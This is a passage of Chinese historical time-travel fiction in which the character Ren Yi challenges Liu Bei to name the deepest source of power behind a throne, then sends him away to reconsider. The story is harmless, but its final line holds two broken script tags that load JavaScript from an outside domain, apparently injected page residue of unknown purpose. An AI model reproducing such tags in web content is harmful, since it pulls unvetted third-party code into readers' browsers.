他停顿了一瞬,目光愈发锐利:“真正能够撑起你梦想中那个王座——如果你真有幸坐上去的话——最核心、最持久、也最磅礴的力量,究竟来自于哪里?”
这句话如同惊雷,在刘备耳边炸响。他脸上的血色“唰”的一下褪去不少,放在膝上的手指无意识地收紧,指节泛白。喉咙有些发干,他用力咽了口唾沫,努力维持着平静的语气:“先生……备,备愚鲁。”
他的声音带着一丝不易察觉的委屈和困惑:“自聆听先生教诲以来,凡所能想到的‘力量’,皆已尽力剖析,呈于先生案前。皇权大义、士族清望、官僚体系、兵甲之利、民心向背……备实在……实在想不出还有何等力量,是备未曾虑及的了。”
为了这份“作业”,他殚精竭虑,与诸葛亮、简雍、糜竺等人不知讨论了多少个日夜,反复推敲打磨,才最终整理成册。他自认已经考虑得面面俱到,却没想到,在任弋眼中,竟然还遗漏了最根本的东西。
任弋却缓缓摇了摇头,目光如同探照灯,仿佛要穿透刘备的瞳孔,直视他内心深处最隐秘的犹疑与恐惧。他一字一顿,声音不大,却重若千钧:“是‘想不到’,还是——‘不敢想’?”
这六个字,如同六记重锤,狠狠砸在刘备的心口。他浑身一震,瞳孔骤然收缩,下意识地避开了任弋那仿佛能洞悉一切的目光。
心底某个被刻意忽略、甚至主动封印的角落,似乎被这句话狠狠地撬动了一下。带来一阵尖锐的悸动,还有些说不清道不明的恐慌。他张了张嘴,想辩解,想否认,想说自己真的想不到。但最终,所有的话都堵在喉咙里,只是脸色苍白地重复道:“备……不知。还请先生明示。”
任弋看着他这幅样子,忽然笑了笑。那笑容里有些无奈,也有些了然,还有点恨铁不成钢的意味。他重新靠回沙发背,端起茶杯,用杯盖轻轻撇着浮在水面的茶沫,语气恢复了之前的随意,甚至隐隐带着点送客的意味:“不知道啊……那还是回去,再好好想想吧。”
他放下杯盖,继续说道:“今天又是上课,又是动手,想必刘皇叔和二位将军也累了。正好,夜校也放几天假,我也偷个懒,歇歇乏。这些文件,想法是有的,但根子上的东西没抓住,终究是空中楼阁。拿回去,或者,烧了也行。”
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">